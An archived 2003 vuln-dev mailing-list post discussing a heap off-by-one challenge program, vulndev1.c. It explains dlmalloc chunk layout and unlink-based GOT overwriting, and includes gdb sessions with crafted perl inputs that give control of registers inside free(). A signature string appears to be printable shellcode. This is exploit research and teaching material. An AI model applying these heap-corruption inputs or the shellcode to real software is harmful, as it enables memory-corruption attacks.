Re: vulndev1.c solution (warning SPOILER)

From: Jon Erickson (matrixat_private)
Date: Thu May 15 2003 - 11:59:57 PDT

  • Next message: xenophi1e: "Re: vulndev-1 and a suggestion about the ensuing discussion"

    On Thu, 15 May 2003 13:10:08 +0200 (CEST)
    Marco Ivaldi <raptorat_private> wrote:
    
    > > for the byte of \x0b.. this could have really been anything, as long as
    > > the least sig bit was 0x1..  This is how the allocation/deallocation
    > > functions mark the previous chunk as in use..  This tricks the first
    > > free() call into overwriting the GOT entry, using data from buf2 (which
    > > it thinks it part of a chunk header)..  I hope this helped clarify.. if
    > > anyone else can add more to this please do..
    > 
    > This is not entirely correct. This is the chunk structure for allocated
    > chunks (ripped from the excellent http://www.phrack.org/phrack/57/p57-0x08
    > by Michel "MaXX" Kaempf):
    > 
    >     chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    >              | prev_size: size of the previous chunk, in bytes (used   |
    >              | by dlmalloc only if this previous chunk is free)        |
    >              +---------------------------------------------------------+
    >              | size: size of the chunk (the number of bytes between    |
    >              | "chunk" and "nextchunk") and 2 bits status information  |
    >       mem -> +---------------------------------------------------------+
    >              | fd: not used by dlmalloc because "chunk" is allocated   |
    >              | (user data therefore starts here)                       |
    >              + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
    >              | bk: not used by dlmalloc because "chunk" is allocated   |
    >              | (there may be user data here)                           |
    >              + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
    >              |                                                         .
    >              .                                                         .
    >              . user data (may be 0 bytes long)                         .
    >              .                                                         .
    >              .                                                         |
    > nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    >              | prev_size: not used by dlmalloc because "chunk" is      |
    >              | allocated (may hold user data, to decrease wastage)     |
    >              +---------------------------------------------------------+
    > 
    > And this is the same structure for free chunks:
    > 
    >     chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    >              | prev_size: may hold user data (indeed, since "chunk" is |
    >              | free, the previous chunk is necessarily allocated)      |
    >              +---------------------------------------------------------+
    >              | size: size of the chunk (the number of bytes between    |
    >              | "chunk" and "nextchunk") and 2 bits status information  |
    >              +---------------------------------------------------------+
    >              | fd: forward pointer to the next chunk in the circular   |
    >              | doubly-linked list (not to the next _physical_ chunk)   |
    >              +---------------------------------------------------------+
    >              | bk: back pointer to the previous chunk in the circular  |
    >              | doubly-linked list (not the previous _physical_ chunk)  |
    >              +---------------------------------------------------------+
    >              |                                                         .
    >              .                                                         .
    >              . unused space (may be 0 bytes long)                      .
    >              .                                                         .
    >              .                                                         |
    > nextchunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    >              | prev_size: size of "chunk", in bytes (used by dlmalloc  |
    >              | because this previous chunk is free)                    |
    >              +---------------------------------------------------------+
    > 
    > Altough there may are multiple ways to exploit this off-by-one bug, my
    > exploit overflows the least significant byte of the size control field of
    > second chunk with an 'A' (0x41) char. When executing the first free(),
    > dlmalloc will consequently think the beginning of the next contiguous
    > chunk is in fact after the real size (0x100), plus the corrupted byte (in
    > this case 0x41), and will therefore read the memory 0x41 bytes after the
    > correct place (size field of the next contiguous chunk). Since this memory
    > area is (hopefully) zeroed, it finally reads an even integer (0x0), whose
    > PREV_INUSE bit is clear (#define PREV_INUSE 0x1), thus processing the
    > corrupted second chunk with the unlink() macro and altering the program
    > behaviour as explained by Jon Erickson
    >
    > In my current setup, any value of char => 0x4 (no matter if even or odd)
    > is good to trigger the unlink() to process the corrupted second chunk.
    
    Yup, thanks for your correction and explanation, as this is something I was pretty foggy about.  I sorta figured out the last bit of it by just disassembling free with gdb, so there were gaps in my understanding.  However, in trying to figure out what was going on, I tried many different values for the overflow byte, and I have one minor correction..
    
    It's true that the exploit will work on the first free() for any value of the overflow char > 0x9, however I noticed some different things happen for values < 0x9.  If the overflow char is 0x1, 0x2, 0x6, 0x7, or 0x9 the program will exit cleanly without a segfault.  If the overflow char is 0x4 or 0x5, the first free() will execute fine, and the program will segfault on the second free().  I don't know if these cases are exploitable or not..  And finally, if the overflow char is 0x8 the program segfaults in the first free() (like when the char is > 0x9)
    
    In the following output, first I show the case we exploited earlier, where the segfault happens in the first free()  [ (char > 0x9) || (char == 0x8) ], then I show the case where the segfault happens in the second free() [ (char == 0x4) || (char == 0x5) ], and finally I show the case where there is no segfault [ (char == 0x1, 0x2, 0x6, 0x7, or 0x9) ]
    
    matrix@overdose vuln-dev $ gcc -g vulndev1.c 
    matrix@overdose vuln-dev $ gdb -q a.out
    (gdb) run `perl -e 'print "A"x252 . "\x08";'` BBBBCCCC
    Starting program: /home/matrix/research/vuln-dev/a.out `perl -e 'print "A"x252 . "\x08";'` BBBBCCCC
    
    Program received signal SIGSEGV, Segmentation fault.
    0x40096acf in _int_free () from /lib/libc.so.6
    (gdb) where
    #0  0x40096acf in _int_free () from /lib/libc.so.6
    #1  0x4009589c in free () from /lib/libc.so.6
    #2  0x0804848a in main (argc=3, argv=0xbffff6c4) at vulndev1.c:27
    #3  0x40035dc4 in __libc_start_main () from /lib/libc.so.6
    (gdb) list 27
    22              p1 = argv[1], p2 = argv[2];
    23      //printf("p1 is at %p\n", p1);  // DEBUG                        
    24              strncpy(buf2, p2, SIZE);
    25              for (i = 0; i <= SIZE && p1[i] != '\0'; i++)
    26                      buf1[i] = p1[i];
    27              free(buf1);
    28              free(buf2);
    29              return 0;
    30      }
    (gdb) x/i $eip
    0x40096acf <_int_free+191>:     mov    %eax,0xc(%edx)
    (gdb) info reg eax edx eip esp
    eax            0x43434343       1128481603
    edx            0x42424242       1111638594
    eip            0x40096acf       0x40096acf
    esp            0xbffff5f0       0xbffff5f0
    (gdb) run `perl -e 'print "A"x252 . "\x05";'` BBBBCCCC
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/matrix/research/vuln-dev/a.out `perl -e 'print "A"x252 . "\x05";'` BBBBCCCC
    
    Program received signal SIGSEGV, Segmentation fault.
    0x4009587e in free () from /lib/libc.so.6
    (gdb) where
    #0  0x4009587e in free () from /lib/libc.so.6
    #1  0x08048495 in main (argc=3, argv=0xbffff6c4) at vulndev1.c:28
    #2  0x40035dc4 in __libc_start_main () from /lib/libc.so.6
    (gdb) x/i $eip
    0x4009587e <free+94>:   mov    (%eax),%edi
    (gdb) info reg eax edx eip esp
    eax            0x8000000        134217728
    edx            0x4      4
    eip            0x4009587e       0x4009587e
    esp            0xbffff620       0xbffff620
    (gdb) 
    (gdb) run `perl -e 'print "A"x252 . "\x06";'` BBBBCCCC
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/matrix/research/vuln-dev/a.out `perl -e 'print "A"x252 . "\x06";'` BBBBCCCC
    
    Program exited normally.
    (gdb) 
    
    
    I'm not really sure about what's going on in the case where the segfault happens on the second free()...  anyone wanna take a stab at what's happening?
    
    -- 
    %JOSE_RONNICK%50,:PTX-!399-Purr-!TTTP[XS\-.aa$-do+sP-x121-{Smm-|zq`P-wXqv-kxwx-5yyzP-11B5-0av(-4Gz!P-~]cz-HcayP-YLg/-wyx0-zyx!P-<C19-~mvIP-PqcJ-yaa7P-c0oe-rAypP-I$*F-q)cjP-*22a-WPjDP-5134-tPUn-w4wxP-118B-WV4w-xx4vPPPPPPPPPPPPPPPPPPPPPP
    
    
    



    This archive was generated by hypermail 2b30 : Fri May 16 2003 - 00:47:09 PDT